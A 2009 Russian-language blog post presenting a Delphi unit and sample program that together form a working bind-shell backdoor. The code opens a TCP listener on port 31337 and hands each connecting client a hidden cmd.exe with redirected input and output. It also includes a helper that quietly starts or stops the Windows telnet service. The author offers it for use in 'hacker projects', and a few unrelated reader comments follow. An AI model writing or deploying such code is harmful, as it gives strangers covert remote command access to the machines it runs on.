Класс для открытия шелла с перенаправлением I/O
Опубликовал devprog на Май 22, 2009
Вот уже давно ничего не писал, пора исправлять ситуэйшн. Скажу сразу – мой первый класс в Delphi. Вроде б работает, но хрен его знает чё туды ещё мона прикрутить )) Может вы знаете?
unit xnShellWorks;
interface
uses Windows;const
AF_INET = 2;
PF_INET = AF_INET;
SOCK_STREAM = 1;
IPPROTO_TCP = 6;
IPPROTO_PUP = 12;
IPPROTO_UDP = 17;
IPPROTO_IDP = 22;
IPPROTO_ND = 77;
IPPROTO_RAW = 255;
IPPROTO_MAX = 256;
START_PROCESS_INFO = STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
null = nil;
INVALID_SOCKET = not 0;//==============================================================================
// Структуры начало
//==============================================================================
type
S_UN_B = packed record
s_b1 : BYTE;
s_b2 : BYTE;
s_b3 : BYTE;
s_b4 : BYTE;
end;S_UN_W = packed record
s_w1 : WORD;
s_w2 : WORD;
end;T_ADDRESS_UNION = packed record
S_un_b : S_UN_B;
S_un_w : S_UN_W;
S_addr : DWORD;
end;T_WSA_DATA = packed record
wVersion : Word;
wHighVersion : Word;
szDescription : array[0..256] of byte;
szSystemStatus : array[0..128] of byte;
iMaxSockets : Word;
iMaxUdpDg : Word;
lpVendorInfo : Dword;
end;Tin_addr = packed record
S_un : T_ADDRESS_UNION;
end;TSockAddr_In = packed record
sin_family : Word;
sin_port : Word;
sin_addr : Tin_addr;
sin_zero : array[0..13] of byte;
end;
//==============================================================================
// Структуры конец
//==============================================================================type
xnShell = class (TObject)
public
constructor Create;
destructor Destroy; override;
procedure SetShellPort(PortNumber:SmallInt);
procedure BindShell(SockHandle:DWORD);
procedure ListenShell(SockHandle:DWORD);
procedure StartTelnetService(Flag:boolean);
function AcceptShell(SockHandle:DWORD):DWORD;
function CreateShell(ShellName:string;OutHandle:DWORD):BOOL;
function StartUp():DWORD;
private
FPort:WORD;
FSocket:DWORD;
WSAData:T_WSA_DATA;
FSockAddIn:TSockAddr_In;
st_info:TStartupInfo;
pt_info:TProcessInformation;end;
//==============================================================================
function WSASocket(af,wType,Protocol:Integer;lpProtocolInfo:Pointer;g,dwFlags:Cardinal):Integer;stdcall; external ‘ws2_32.dll’ name ‘WSASocketA’;
function htons(pt:DWORD):DWORD;stdcall;external ‘ws2_32.dll’ name ‘htons’;
function accept(SockHandle:DWORD;pt:Pointer;sz:DWORD):DWORD;stdcall;external ‘ws2_32.dll’ name ‘accept’;
procedure WSAStartup(wVersionRequired:Integer;lpWSADATA:Pointer);stdcall;external ‘ws2_32.dll’ name ‘WSAStartup’;
procedure bind(SockHandle:DWORD;lpSIN:Pointer;SINSize:DWORD);stdcall;external ‘ws2_32.dll’ name ‘bind’;
procedure listen(SockHandle:DWORD;Backlog:DWORD);stdcall;external ‘ws2_32.dll’ name ‘listen’;{==============================================================================}
implementation{ xnShell }
//==============================================================================
// Constructor
//==============================================================================
constructor xnShell.Create;
begin
inherited Create;
FPort:=0;
end;//==============================================================================
// Destructor
//==============================================================================
destructor xnShell.Destroy;
begin
ZeroMemory(@WSAData,SizeOf(WSAData)); // clean all str
ZeroMemory(@FSockAddin,SizeOf(WSAData));
inherited Destroy;
end;{——————————————————————————-
Procedure: xnShell.SetShellPort
Author: Robo
DateTime: 2009.04.24
Arguments: PortNumber: SmallInt – номер открываемого порта
Result: None
——————————————————————————-}
procedure xnShell.SetShellPort(PortNumber: SmallInt);
begin
FPort:=PortNumber;
end;{——————————————————————————-
Procedure: xnShell.StartUp
Author: Robo
DateTime: 2009.04.24
Arguments: None
Result: DWORD – хендл открытого сокета
——————————————————————————-}
function xnShell.StartUp: DWORD;
begin
if FPort <> 0 then
begin
WSAStartup($0202,@WSAData); // Activate ws2_32.dll
FSocket:=WSASocket(PF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
FSockAddIn.sin_family:=AF_INET;
FSockAddIn.sin_port:=htons(FPort);
result:=FSocket;
end
else
begin
Result:=$0;
end;
end;{——————————————————————————-
Procedure: xnShell.BindShell
Author: Robo
DateTime: 2009.04.24
Arguments: SockHandle: DWORD – хендл сокета для бинда (результат StartUp)
Result: None
——————————————————————————-}
procedure xnShell.BindShell(SockHandle: DWORD);
begin
bind(SockHandle,@FSockAddIn,16);
end;{——————————————————————————-
Procedure: xnShell.ListenShell
Author: robo
DateTime: 2009.04.24
Arguments: SockHandle: DWORD – хендл сокета для listen (результат StartUp)
Result: None
——————————————————————————-}
procedure xnShell.ListenShell(SockHandle: DWORD);
begin
listen(SockHandle,0);
end;{——————————————————————————-
Procedure: xnShell.AcceptShell
Author: Администратор
DateTime: 2009.04.27
Arguments: SockHandle: DWORD
Result: DWORD
——————————————————————————-}
function xnShell.AcceptShell(SockHandle: DWORD):DWORD;
begin
result:=accept(SockHandle,NULL,0);
end;{——————————————————————————-
Procedure: xnShell.CreateShell
Author: Администратор
DateTime: 2009.04.27
Arguments: ShellName: string;OutHandle:DWORD
Result: BOOL
——————————————————————————-}
function xnShell.CreateShell(ShellName: string;OutHandle:DWORD): BOOL;
var reslt:BOOL;
begin
ZeroMemory(@st_info,SizeOf(st_info));
st_info.cb := SizeOf(st_info);
st_info.wShowWindow := 0; // SW_HIDE
st_info.dwFlags := START_PROCESS_INFO;
st_info.hStdError := OutHandle;
st_info.hStdOutput := OutHandle;
st_info.hStdInput := OutHandle;
reslt:=CreateProcess(NULL,PChar(ShellName),NULL,NULL,True,0,NULL,NULL,st_info,pt_info);
CloseHandle(OutHandle);
CloseHandle(pt_info.hThread);
CloseHandle(pt_info.hProcess);
if reslt <> false then result:=false else Result := true;
end;{——————————————————————————-
Procedure: xnShell.StartTelnetService
Author: Администратор
DateTime: 2009.04.27
Arguments: None
Result: None
——————————————————————————-}
procedure xnShell.StartTelnetService(Flag:Boolean);
begin
ZeroMemory(@st_info,SizeOf(st_info));
st_info.cb := SizeOf(st_info);
st_info.wShowWindow := 0; // SW_HIDE
st_info.dwFlags := START_PROCESS_INFO;
if Flag = True then
CreateProcess(null,PChar(‘net start telnet’),NULL,NULL,True,0,NULL,NULL,st_info,pt_info)
else
CreateProcess(null,PChar(‘net stop telnet’),NULL,NULL,True,0,NULL,NULL,st_info,pt_info)
end;end.
А вот как это дело можно юзать в своих хеккерских проектах:
program shellset;
uses xnShellWorks;
type
DWORD = Cardinal;
var
Shell:xnShell;
handle:DWORD;
SHandle:DWORD;
begin
Shell:=xnShell.Create;
Shell.SetShellPort(31337);
handle:=Shell.StartUp;
Shell.BindShell(handle);
Shell.ListenShell(handle);
while true do
begin
sHandle := Shell.AcceptShell(handle);
if SHandle <> INVALID_SOCKET then
begin
Shell.CreateShell(‘cmd.exe’,sHandle);
end;
end;
end.
Подписаться на посты через RSS
Подписаться на комментарии через RSS

Nuapireintept сказал
Очень понравилось, даже не ожидала.
здесь видел ет gamebulletin.ru
izverrg сказал
Печально видеть сайт в запустении, отданным на откуп и разграбление ботам…
posttheorize сказал
Дяяя….старая темка, но ми тут нету^^ даже если не по картинкам смотреть))) нету и фсё^_^